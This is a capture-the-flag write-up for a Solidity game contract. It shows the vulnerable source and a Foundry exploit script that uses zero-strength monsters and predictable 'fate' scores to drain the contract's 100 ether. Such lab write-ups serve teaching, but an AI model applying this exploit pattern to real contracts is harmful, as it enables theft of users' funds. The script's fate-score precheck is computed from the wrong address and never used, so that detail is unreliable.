Writeup for Dungeons And Naga
- Before diving into this writeup, it’s crucial to have a solid understanding of Foundry, a powerful framework for Ethereum smart contract development. Foundry will be your primary tool for writing, testing, and breaking contracts in this guide.
Challenge Description
The developer of this protocol really loves the movie so he decided to build a decentralized game out of it that lives on chain. He has spent all his life saving and really want the game to succeed. The game sets you on an adventure to find hidden treasure.
Author: MaanVad3r
The Challenge and Exploit
The below are source contracts
- DungeonsNDragon contract
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.25;
3
4
5
6contract DungeonsAndDragons {
7 struct Character {
8 string name;
9 uint256 level;
10 uint256 experience;
11 uint256 strength;
12 uint256 dexterity;
13 uint256 intelligence;
14 }
15
16 struct Dungeon {
17 string name;
18 uint256 difficulty;
19 uint256 reward;
20 }
21
22 struct Monster {
23 string name;
24 uint256 health;
25 uint256 attack;
26 }
27
28 struct Raid {
29 string name;
30 uint256 requiredLevel;
31 uint256 reward;
32 }
33
34 mapping(address => Character) public characters;
35 Dungeon[] public dungeons;
36 Monster[] public monsters;
37 Raid[] public raids;
38 string public salt;
39 uint256 public initialReward;
40 uint256 public initialLevel;
41 address public owner;
42
43 event CharacterCreated(address indexed player, string name);
44 event DungeonCompleted(address indexed player, string dungeonName, uint256 reward);
45 event RaidCompleted(address indexed player, string raidName, uint256 reward);
46 event MonsterDefeated(address indexed player, string monsterName);
47 event FinalDragonDefeated(address indexed player);
48
49 modifier nonReentrant() {
50 require(!locked, "No re-entrancy");
51 locked = true;
52 _;
53 locked = false;
54 }
55
56 modifier onlyCreator() {
57 require(msg.sender == owner, "Only the creator can call this function");
58 _;
59 }
60
61 bool private locked;
62
63 constructor(string memory _salt, uint256 _initialReward, uint256 _initialLevel) payable {
64 require(msg.value == 100 ether, "Contract must be funded with 100 Ether");
65 salt = _salt;
66 initialReward = _initialReward;
67 initialLevel = _initialLevel;
68 owner = msg.sender;
69 }
70
71 fallback() external payable {}
72
73 function createCharacter(string memory _name, uint256 _class) public payable {
74 require(msg.value == 0.1 ether, "Must pay 0.1 ether to create a character");
75 require(bytes(characters[msg.sender].name).length == 0, "Character already exists");
76
77 uint256 strength;
78 uint256 dexterity;
79 uint256 intelligence;
80
81 if (_class == 1) { // Warrior
82 strength = 10;
83 dexterity = 5;
84 intelligence = 2;
85 } else if (_class == 2) { // Rogue
86 strength = 5;
87 dexterity = 10;
88 intelligence = 3;
89 } else if (_class == 3) { // Mage
90 strength = 2;
91 dexterity = 3;
92 intelligence = 10;
93 }
94
95 characters[msg.sender] = Character(_name, initialLevel, 0, strength, dexterity, intelligence);
96 emit CharacterCreated(msg.sender, _name);
97 }
98
99 function createDungeon(string memory _name, uint256 _difficulty, uint256 _reward) public onlyCreator {
100 dungeons.push(Dungeon(_name, _difficulty, _reward));
101 }
102
103 function createMonster(string memory _name, uint256 _health, uint256 _attack) public {
104 monsters.push(Monster(_name, _health, _attack));
105 }
106
107 function createRaid(string memory _name, uint256 _requiredLevel, uint256 _reward) public onlyCreator {
108 raids.push(Raid(_name, _requiredLevel, _reward));
109 }
110
111 function completeDungeon(uint256 _dungeonIndex) public nonReentrant {
112 require(_dungeonIndex < dungeons.length, "Invalid dungeon index");
113 Dungeon memory dungeon = dungeons[_dungeonIndex];
114 Character storage character = characters[msg.sender];
115
116 require(character.level >= dungeon.difficulty, "Character level too low");
117
118 character.experience += dungeon.reward;
119 character.level++;
120 character.experience = 0;
121
122 emit DungeonCompleted(msg.sender, dungeon.name, dungeon.reward);
123 }
124
125 function completeRaid(uint256 _raidIndex) public nonReentrant {
126 require(_raidIndex < raids.length, "Invalid raid index");
127 Raid memory raid = raids[_raidIndex];
128 Character storage character = characters[msg.sender];
129
130 require(character.level >= raid.requiredLevel, "Character level too low");
131
132 character.experience += raid.reward;
133 character.level++;
134 character.experience = 0;
135
136 emit RaidCompleted(msg.sender, raid.name, raid.reward);
137 }
138
139 function fightMonster(uint256 _monsterIndex) public nonReentrant {
140 require(_monsterIndex < monsters.length, "Invalid monster index");
141 Monster memory monster = monsters[_monsterIndex];
142 Character storage character = characters[msg.sender];
143
144 uint256 fateScore = uint256(keccak256(abi.encodePacked(msg.sender, salt, uint256(42)))) % 100;
145
146 require(fateScore > 30, "Monster fight failed! Bad luck!");
147
148 if (character.strength + character.dexterity + character.intelligence > monster.health + monster.attack) {
149 emit MonsterDefeated(msg.sender, monster.name);
150 character.experience += 50;
151 character.level++;
152 character.experience = 0;
153 } else {
154 revert("Monster too strong! Failed to defeat");
155 }
156 }
157
158 function finalDragon() public nonReentrant {
159 Character storage character = characters[msg.sender];
160 require(character.level >= 20, "Character level too low to fight the final dragon");
161
162 uint256 fateScore = uint256(keccak256(abi.encodePacked(msg.sender, salt, uint256(999)))) % 100;
163
164
165 if (fateScore > 50) {
166 (bool success, ) = msg.sender.call{value: address(this).balance}("");
167 require(success, "Reward transfer failed");
168 emit FinalDragonDefeated(msg.sender);
169 }
170 }
171
172 function withdraw() public onlyCreator {
173 require(address(this).balance > 0, "No balance to withdraw");
174 (bool success, ) = msg.sender.call{value: address(this).balance}("");
175 require(success, "Withdraw failed");
176 }
177
178 function getCharacter(address _player) public view returns (Character memory) {
179 return characters[_player];
180 }
181
182 function distributeRewards(bytes32 messageHash, uint8 v, bytes32 r, bytes32 s) public {
183 address signer = ecrecover(messageHash, v, r, s);
184 require(signer == owner, "Invalid signature");
185
186 //distribute rewards logic
187 Character storage character = characters[msg.sender];
188 character.experience += 10;
189 }
190}
- Setup contract
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.25;
3
4import "./DungeonsNDragons.sol";
5
6contract Setup {
7 DungeonsAndDragons public challengeInstance;
8
9 constructor(string memory _salt, uint256 _initialReward, uint256 _initialLevel) payable {
10
11 require(msg.value == 100 ether, "Setup requires exactly 100 ETH for the challenge");
12 challengeInstance = new DungeonsAndDragons{value: msg.value}(_salt, _initialReward, _initialLevel);
13 }
14
15
16 function isSolved() public view returns (bool) {
17
18 return address(challengeInstance).balance == 0;
19 }
20}
Our task is to make the Setup:isSolved
function return true. This function will return true when the balance of the DungeonsNDragons
contract becomes zero. The DungeonsNDragons
contract is initialized with 100 ether during deployment. To solve this challenge, we need to drain and steal the 100 ether from DungeonsNDragons
contract.
1function finalDragon() public nonReentrant {
2 Character storage character = characters[msg.sender];
3 require(character.level >= 20, "Character level too low to fight the final dragon");
4
5 uint256 fateScore = uint256(keccak256(abi.encodePacked(msg.sender, salt, uint256(999)))) % 100;
6
7
8 if (fateScore > 50) {
9 (bool success, ) = msg.sender.call{value: address(this).balance}("");
10 require(success, "Reward transfer failed");
11 emit FinalDragonDefeated(msg.sender);
12 }
13}
The DungeonsNDragons:finalDragon
function is a public function, meaning anyone can call it. This is the only place where the entire ether balance of the DungeonsNDragons
contract is transferred to the msg.sender
. If we can find a way to successfully call this function, the challenge will be solved.
We can call this function only if our character’s level is greater than 20. The function will transfer all the funds only if the fateScore
is greater than 50. Since the fateScore
depends on some known values, we can calculate it in advance and initiate the transaction only if the fateScore
exceeds 50. Now let’s focus on how to increase our character level
Character levels are increased through the DungeonsNDragons:completeDungeon
, DungeonsNDragons:completeRaid
, and DungeonsNDragons:fightMonster
functions. However, we can only call DungeonsNDragons:fightMonster
because no Dungeons or Raids have been created. Dungeons and Raids can only be created by the contract’s creator (owner), while Monsters can be created by anyone. To proceed, we need to create a Monster with health and attack set to zero. Once the Monster is created, we can call DungeonsNDragons:fightMonster
, passing the index of the Monster we created.
1function fightMonster(uint256 _monsterIndex) public nonReentrant {
2 require(_monsterIndex < monsters.length, "Invalid monster index");
3 Monster memory monster = monsters[_monsterIndex];
4 Character storage character = characters[msg.sender];
5
6 uint256 fateScore = uint256(keccak256(abi.encodePacked(msg.sender, salt, uint256(42)))) % 100;
7
8 require(fateScore > 30, "Monster fight failed! Bad luck!");
9
10 if (character.strength + character.dexterity + character.intelligence > monster.health + monster.attack) {
11 emit MonsterDefeated(msg.sender, monster.name);
12 character.experience += 50;
13 character.level++;
14 character.experience = 0;
15 } else {
16 revert("Monster too strong! Failed to defeat");
17 }
18}
Now, the only factor we need to consider when calling DungeonsNDragons:fightMonster
is the fateScore. The fateScore is calculated based on parameters known to both the contract and msg.sender
. Therefore, msg.sender
can calculate the fateScore in advance. If the fateScore is greater than 30, then the function can be called successfully.
The below is the exploit script.
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4import {Script} from "forge-std/Script.sol";
5
6interface IDungeons{
7 function createCharacter(string memory _name, uint256 _class) external payable ;
8 function finalDragon() external;
9 function distributeRewards(bytes32 messageHash, uint8 v, bytes32 r, bytes32 s) external ;
10 function salt()external view returns (string memory);
11 function createMonster(string memory _name, uint256 _health, uint256 _attack) external ;
12 function fightMonster(uint256 _monsterIndex) external;
13}
14
15interface ISetup{
16 function challengeInstance()external view returns(IDungeons);
17 function isSolved() external view returns (bool);
18}
19
20contract ExploiotChallenge {
21
22 ISetup setup;
23 IDungeons dungeons;
24 uint256 fateScore1 ;
25 uint256 fateScore2;
26 constructor(address _setup){
27 setup=ISetup(_setup);
28 dungeons=setup.challengeInstance();
29
30
31 }
32
33 function Exploit()public payable{
34 fateScore2=uint256(keccak256(abi.encodePacked(msg.sender, dungeons.salt(), uint256(999)))) % 100;
35 fateScore1 = uint256(keccak256(abi.encodePacked(msg.sender, dungeons.salt(), uint256(42)))) % 100;
36 dungeons.createCharacter{value:msg.value}("h4ck3r",1);
37 dungeons.createMonster("m0nst3r", 0, 0);
38 for(uint8 i=0;i<20;i++){
39 dungeons.fightMonster(0);
40 }
41 dungeons.finalDragon();
42 }
43
44 receive()external payable{}
45}
46
47
48
49contract CreateExploit is Script{
50 ExploiotChallenge exploit;
51
52 function run()public{
53 address setup=address(/* YOUR_SETUP_ADDRESS */);
54 vm.startBroadcast();
55 exploit=new ExploiotChallenge(setup);
56 exploit.Exploit{value:0.1 ether}();
57 vm.stopBroadcast();
58 }
59}
***Hope you enjoyed this write-up. Keep on hacking and learning!***
Comments